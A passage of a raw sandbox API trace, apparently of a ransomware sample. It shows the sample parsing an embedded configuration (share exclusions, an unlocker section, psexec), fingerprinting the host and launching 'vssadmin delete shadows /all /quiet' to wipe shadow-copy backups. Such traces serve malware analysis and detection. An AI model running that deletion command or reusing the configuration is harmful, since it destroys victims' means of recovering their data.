0x6d52c8 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x54) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d52e8 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x58) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5308 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x5c) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5328 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x60) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5348 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x64) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5368 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x68) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5388 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x6c) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d53a8 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x70) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d53c8 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x74) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d53e8 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x78) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5408 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x7c) returned 0x6d17f0 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5428 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x80) returned 0x6d17f0 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5448 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x84) returned 0x6d17f0 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5468 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x88) returned 0x6d17f0 [0129.793] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5488 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x8c) returned 0x6d17f0 [0129.793] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d54a8 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x90) returned 0x6d17f0 [0129.793] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d54c8 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3898, Size=0x10) returned 0x6c3928 [0129.793] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d54e8 [0129.793] strtol (in: _Str="20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xaf808, _Radix=0 | out: _EndPtr=0xaf808*=",\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 20 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3928, Size=0x14) returned 0x6d5508 [0129.793] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5528 [0129.793] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc028 [0129.793] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5548 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc028, Size=0x8) returned 0x6cc048 [0129.793] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5568 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc048, Size=0xc) returned 0x6c3928 [0129.793] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5588 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3928, Size=0x10) returned 0x6c3898 [0129.793] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d55a8 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3898, Size=0x14) returned 0x6d55c8 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d55c8, Size=0x18) returned 0x6d5608 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5608, Size=0x1c) returned 0x6cf840 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca7f8, Size=0x34) returned 0x6c9a10 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc048, Size=0x8) returned 0x6cc028 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc048, Size=0x8) returned 0x6cc038 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc038, Size=0xc) returned 0x6c3898 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc038, Size=0x8) returned 0x6cc048 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c9a10, Size=0x38) returned 0x6c99d0 [0129.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc038, Size=0x8) returned 0x6cc058 [0129.794] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc038, Size=0x8) returned 0x6cc068 [0129.794] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc038, Size=0x8) returned 0x6cc078 [0129.794] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc078, Size=0xc) returned 0x6c3928 [0129.794] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc068, Size=0xc) returned 0x6d5b98 [0129.794] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc068, Size=0x8) returned 0x6cc078 [0129.797] GetVersion () returned 0x1db10106 [0129.797] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x6d9138 | out: Wow64Process=0x6d9138) returned 1 [0129.797] GetCurrentProcessId () returned 0x6fc [0129.797] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0xaf8b0 | out: TokenHandle=0xaf8b0*=0x148) returned 0x0 [0129.797] GetTokenInformation (in: TokenHandle=0x148, TokenInformationClass=0x1, TokenInformation=0x6d91b8, TokenInformationLength=0x100, ReturnLength=0xaf8c4 | out: TokenInformation=0x6d91b8, ReturnLength=0xaf8c4) returned 1 [0129.798] IsWellKnownSid (pSid=0x6d91c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), WellKnownSidType=0x16) returned 0 [0129.798] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d91b8) returned 1 [0129.798] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0xaf8ac | out: lpBuffer=0x0, nSize=0xaf8ac) returned 0 [0129.798] GetLastError () returned 0xea [0129.798] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x16) returned 0x6ce648 [0129.798] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x6ce648, nSize=0xaf8ac | out: lpBuffer="XDUWTFONO", nSize=0xaf8ac) returned 1 [0129.798] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xf4) returned 0x6d91b8 [0129.798] GetCurrentHwProfileW (in: lpHwProfileInfo=0x6d91b8 | out: lpHwProfileInfo=0x6d91b8) returned 1 [0129.798] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x70) returned 0x6d0388 [0129.798] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6d8250 [0129.798] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.798] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6d8250 [0129.798] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6d8278 [0129.801] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8278) returned 1 [0129.801] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x41) returned 0x6d92b8 [0129.801] sprintf (in: _Dest=0x6d92b8, _Format="%0.2x" | out: _Dest="cd") returned 2 [0129.801] sprintf (in: _Dest=0x6d92ba, _Format="%0.2x" | out: _Dest="46") returned 2 [0129.801] sprintf (in: _Dest=0x6d92bc, _Format="%0.2x" | out: _Dest="de") returned 2 [0129.801] sprintf (in: _Dest=0x6d92be, _Format="%0.2x" | out: _Dest="9c") returned 2 [0129.801] sprintf (in: _Dest=0x6d92c0, _Format="%0.2x" | out: _Dest="ac") returned 2 [0129.801] sprintf (in: _Dest=0x6d92c2, _Format="%0.2x" | out: _Dest="99") returned 2 [0129.801] sprintf (in: _Dest=0x6d92c4, _Format="%0.2x" | out: _Dest="fb") returned 2 [0129.801] sprintf (in: _Dest=0x6d92c6, _Format="%0.2x" | out: _Dest="0a") returned 2 [0129.801] sprintf (in: _Dest=0x6d92c8, _Format="%0.2x" | out: _Dest="8b") returned 2 [0129.801] sprintf (in: _Dest=0x6d92ca, _Format="%0.2x" | out: _Dest="d5") returned 2 [0129.801] sprintf (in: _Dest=0x6d92cc, _Format="%0.2x" | out: _Dest="ce") returned 2 [0129.801] sprintf (in: _Dest=0x6d92ce, _Format="%0.2x" | out: _Dest="70") returned 2 [0129.801] sprintf (in: _Dest=0x6d92d0, _Format="%0.2x" | out: _Dest="e3") returned 2 [0129.801] sprintf (in: _Dest=0x6d92d2, _Format="%0.2x" | out: _Dest="6a") returned 2 [0129.801] sprintf (in: _Dest=0x6d92d4, _Format="%0.2x" | out: _Dest="f2") returned 2 [0129.801] sprintf (in: _Dest=0x6d92d6, _Format="%0.2x" | out: _Dest="12") returned 2 [0129.802] sprintf (in: _Dest=0x6d92d8, _Format="%0.2x" | out: _Dest="e3") returned 2 [0129.802] sprintf (in: _Dest=0x6d92da, _Format="%0.2x" | out: _Dest="c6") returned 2 [0129.802] sprintf (in: _Dest=0x6d92dc, _Format="%0.2x" | out: _Dest="bd") returned 2 [0129.802] sprintf (in: _Dest=0x6d92de, _Format="%0.2x" | out: _Dest="2e") returned 2 [0129.802] sprintf (in: _Dest=0x6d92e0, _Format="%0.2x" | out: _Dest="1f") returned 2 [0129.802] sprintf (in: _Dest=0x6d92e2, _Format="%0.2x" | out: _Dest="13") returned 2 [0129.802] sprintf (in: _Dest=0x6d92e4, _Format="%0.2x" | out: _Dest="fe") returned 2 [0129.802] sprintf (in: _Dest=0x6d92e6, _Format="%0.2x" | out: _Dest="30") returned 2 [0129.802] sprintf (in: _Dest=0x6d92e8, _Format="%0.2x" | out: _Dest="85") returned 2 [0129.802] sprintf (in: _Dest=0x6d92ea, _Format="%0.2x" | out: _Dest="86") returned 2 [0129.802] sprintf (in: _Dest=0x6d92ec, _Format="%0.2x" | out: _Dest="c8") returned 2 [0129.802] sprintf (in: _Dest=0x6d92ee, _Format="%0.2x" | out: _Dest="5e") returned 2 [0129.802] sprintf (in: _Dest=0x6d92f0, _Format="%0.2x" | out: _Dest="ff") returned 2 [0129.802] sprintf (in: _Dest=0x6d92f2, _Format="%0.2x" | out: _Dest="0a") returned 2 [0129.802] sprintf (in: _Dest=0x6d92f4, _Format="%0.2x" | out: _Dest="87") returned 2 [0129.802] sprintf (in: _Dest=0x6d92f6, _Format="%0.2x" | out: _Dest="38") returned 2 [0129.802] RtlInitAnsiString (in: DestinationString=0xaf85c, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738" | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") [0129.802] RtlAnsiStringToUnicodeString (in: DestinationString=0xaf864, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738", AllocateDestinationString=1 | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") returned 0x0 [0129.802] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x82) returned 0x6d93b0 [0129.802] RtlFreeAnsiString (AnsiString="c") [0129.802] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6c28 [0129.802] wcscpy (in: _Dest=0x6d6c28, _Source="\\\\" | out: _Dest="\\\\") returned="\\\\" [0129.803] wcscat (in: _Dest=0x6d6c28, _Source="XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0129.803] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cbff8 [0129.803] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6c48 [0129.803] wcscpy (in: _Dest=0x6d6c48, _Source="\\\\XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0129.803] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6c28) returned 1 [0129.803] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.803] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d0388) returned 1 [0129.803] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d91b8) returned 1 [0129.803] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6d6c28 [0129.803] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xc) returned 0x6d8e38 [0129.809] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20a) returned 0x6db398 [0129.810] Wow64DisableWow64FsRedirection (in: OldValue=0xaf94c | out: OldValue=0xaf94c*=0x0) returned 1 [0129.810] GetSystemDirectoryW (in: lpBuffer=0x6db398, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0129.810] wcscat (in: _Dest=0x6db398, _Source="\\vssadmin.exe" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe") returned="C:\\Windows\\system32\\vssadmin.exe" [0129.810] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x240) returned 0x6db5b0 [0129.810] wcscpy (in: _Dest=0x6db5b0, _Source="C:\\Windows\\system32\\vssadmin.exe" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe") returned="C:\\Windows\\system32\\vssadmin.exe" [0129.810] wcscat (in: _Dest=0x6db5b0, _Source=" delete shadows /all /quiet" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet") returned="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet" [0129.810] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xaf8a4*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xaf8e8 | out: lpCommandLine="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0xaf8e8*(hProcess=0x150, hThread=0x154, dwProcessId=0x724, dwThreadId=0x728)) returned 1 [0129.815] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6db5b0) returned 1 [0129.815] Wow64RevertWow64FsRedirection (OlValue=0xaf94c) returned 1 [0129.815] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6db398) returned 1 [0129.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5af0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0129.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5cf0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0129.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb66a0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0129.817] WaitForMultipleObjects (nCount=0x3, lpHandles=0x6d8e38*=0x158, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 1606 os_tid = 0x720 Thread: id = 1608 os_tid = 0x72c [0129.844] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6ddc30 [0129.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ddc30, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6ddc30, ResultLength=0x0) returned 0xc0000004 [0129.845] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ddc30, Size=0x2048) returned 0x6ddc30 [0129.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ddc30, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6ddc30, ResultLength=0x0) returned 0xc0000004 [0129.845] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ddc30, Size=0x306c) returned 0x6dfc80 [0129.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6dfc80, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6dfc80, ResultLength=0x0) returned 0xc0000004 [0129.846] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6dfc80, Size=0x4090) returned 0x6dfc80 [0129.846] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6dfc80, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6dfc80, ResultLength=0x0) returned 0xc0000004 [0129.846] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6dfc80, Size=0x50b4) returned 0x6e3d18 [0129.847] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6e3d18, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6e3d18, ResultLength=0x0) returned 0xc0000004 [0129.847] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6e3d18, Size=0x60d8) returned 0x6e3d18 [0129.847] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6e3d18, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6e3d18, ResultLength=0x0) returned 0xc0000004 [0129.847] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6e3d18, Size=0x70fc) returned 0x6e9df8 [0129.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6e9df8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6e9df8, ResultLength=0x0) returned 0xc0000004 [0129.848] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6e9df8, Size=0x8120) returned 0x6e9df8 [0129.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6e9df8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x6e9df8, ResultLength=0x0) returned 0xc0000004 [0129.848] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6e9df8, Size=0x9144) returned 0x6ddc30 [0129.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ddc30, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x6ddc30, ResultLength=0x0) returned 0x0 [0129.849] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8898 [0129.849] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8898) returned 1 [0129.849] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6d8e50 [0129.849] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8e50) returned 1 [0129.849] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6d6cc8 [0129.849] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.849] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6d6cc8 [0129.849] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.849] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.849] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6d6cc8 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6d8250 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6d8250 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6d6cc8 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6d8e50 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8e50) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.850] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6d8250 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6d8250 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6d8e50 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8e50) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6d8250 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6d8250 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6d8250 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6d8250 [0129.851] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6d8250 [0129.852] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.852] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.852] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.852] RtlAllocateHeap (HeapHandle=0x6b0000, 